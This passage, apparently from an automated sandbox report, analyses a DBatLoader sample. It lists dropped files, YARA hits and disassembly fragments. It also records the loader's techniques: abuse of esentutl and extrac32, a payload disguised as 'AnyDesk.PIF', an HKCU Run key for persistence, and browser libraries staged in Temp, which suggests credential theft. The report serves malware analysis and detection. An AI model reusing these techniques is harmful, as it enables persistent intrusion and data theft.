            Source: C:\Users\Public\Libraries\uhvutpdX.pifUnpacked PE file: 19.2.uhvutpdX.pif.400000.1.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs CODE:ER;DATA:W;BSS:W;.idata:W;.reloc:R;
            Source: C:\Users\Public\Libraries\uhvutpdX.pifUnpacked PE file: 27.2.uhvutpdX.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs CODE:ER;DATA:W;BSS:W;.idata:W;.reloc:R;
            Yara detected DBatLoader
            Source: Yara matchFile source: 10.2.AnyDesk.PIF.23265a8.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 10.2.AnyDesk.PIF.2ab0000.3.unpack, type: UNPACKEDPE
            Source: alpha.exe.3.drStatic PE information: 0xE1CBFC53 [Mon Jan 16 09:26:43 2090 UTC]
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC894C LoadLibraryW,GetProcAddress,FreeLibrary,10_2_02AC894C
            Source: alpha.exe.3.drStatic PE information: section name: .didat
            Source: kn.exe.5.drStatic PE information: section name: .didat
            Source: alpha.pif.16.drStatic PE information: section name: .didat
            Source: msvcp140.dll.19.drStatic PE information: section name: .didat
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB3668 push rsp; ret 7_2_00007FF6E3DB3669
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ADD2FC push 02ADD367h; ret 10_2_02ADD35F
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AB63AE push 02AB640Bh; ret 10_2_02AB6403
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AB63B0 push 02AB640Bh; ret 10_2_02AB6403
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AB332C push eax; ret 10_2_02AB3368
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ADC378 push 02ADC56Eh; ret 10_2_02ADC566
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ABC349 push 8B02ABC1h; ret 10_2_02ABC34E
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ADD0AC push 02ADD125h; ret 10_2_02ADD11D
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC306C push 02AC30B9h; ret 10_2_02AC30B1
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC306B push 02AC30B9h; ret 10_2_02AC30B1
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ADD1F8 push 02ADD288h; ret 10_2_02ADD280
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ACF108 push ecx; mov dword ptr [esp], edx10_2_02ACF10D
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ADD144 push 02ADD1ECh; ret 10_2_02ADD1E4
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AB6782 push 02AB67C6h; ret 10_2_02AB67BE
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AB6784 push 02AB67C6h; ret 10_2_02AB67BE
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ABD5A0 push 02ABD5CCh; ret 10_2_02ABD5C4
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ABC56C push ecx; mov dword ptr [esp], edx10_2_02ABC571
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ADC570 push 02ADC56Eh; ret 10_2_02ADC566
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ACAAE0 push 02ACAB18h; ret 10_2_02ACAB10
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ACAADF push 02ACAB18h; ret 10_2_02ACAB10
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC8AD8 push 02AC8B10h; ret 10_2_02AC8B08
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02B24A50 push eax; ret 10_2_02B24B20
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ABCA4E push 02ABCD72h; ret 10_2_02ABCD6A
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ABCBEC push 02ABCD72h; ret 10_2_02ABCD6A
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC886C push 02AC88AEh; ret 10_2_02AC88A6
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC790C push 02AC7989h; ret 10_2_02AC7981
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC6948 push 02AC69F3h; ret 10_2_02AC69EB
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC6946 push 02AC69F3h; ret 10_2_02AC69EB
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC5E7C push ecx; mov dword ptr [esp], edx10_2_02AC5E7E
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC2F60 push 02AC2FD6h; ret 10_2_02AC2FCE

            Persistence and Installation Behavior

            barindex
            Drops PE files with a suspicious file extension
            Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\alpha.pifJump to dropped file
            Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\xpha.pifJump to dropped file
            Source: C:\Users\Public\Libraries\AnyDesk.PIFFile created: C:\Users\Public\Libraries\uhvutpdX.pifJump to dropped file
            Source: C:\Users\Public\kn.exeFile created: C:\Users\Public\Libraries\AnyDesk.PIFJump to dropped file
            Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\Libraries\Xdptuvhu.PIFJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-heap-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-private-l1-1-0.dllJump to dropped file
            Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\alpha.pifJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-errorhandling-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-processthreads-l1-1-1.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-memory-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-environment-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-convert-l1-1-0.dllJump to dropped file
            Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\alpha.exeJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\freebl3.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-heap-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-processthreads-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-locale-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-namedpipe-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-console-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-rtlsupport-l1-1-0.dllJump to dropped file
            Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\Libraries\Xdptuvhu.PIFJump to dropped file
            Source: C:\Users\Public\kn.exeFile created: C:\Users\Public\Libraries\AnyDesk.PIFJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\vcruntime140.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-file-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\softokn3.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-datetime-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-util-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-stdio-l1-1-0.dllJump to dropped file
            Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\kn.exeJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-string-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-utility-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-string-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-interlocked-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-libraryloader-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-process-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-time-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-localization-l1-2-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\nss3.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\ucrtbase.dllJump to dropped file
            Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\xpha.pifJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-profile-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-synch-l1-2-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-filesystem-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-file-l2-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-debug-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-conio-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-processenvironment-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-handle-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-multibyte-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\msvcp140.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-math-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-runtime-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-timezone-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\nssdbm3.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-synch-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\mozglue.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-sysinfo-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile created: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-file-l1-2-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\AnyDesk.PIFFile created: C:\Users\Public\Libraries\uhvutpdX.pifJump to dropped file
            Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\alpha.pifJump to dropped file
            Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\alpha.exeJump to dropped file
            Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\xpha.pifJump to dropped file
            Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\kn.exeJump to dropped file

            Boot Survival

            barindex
            Drops PE files to the user root directory
            Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\alpha.pifJump to dropped file
            Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\alpha.exeJump to dropped file
            Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\xpha.pifJump to dropped file
            Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\kn.exeJump to dropped file
            Source: C:\Users\Public\Libraries\AnyDesk.PIFRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XdptuvhuJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XdptuvhuJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ACAB1C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,10_2_02ACAB1C
            Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
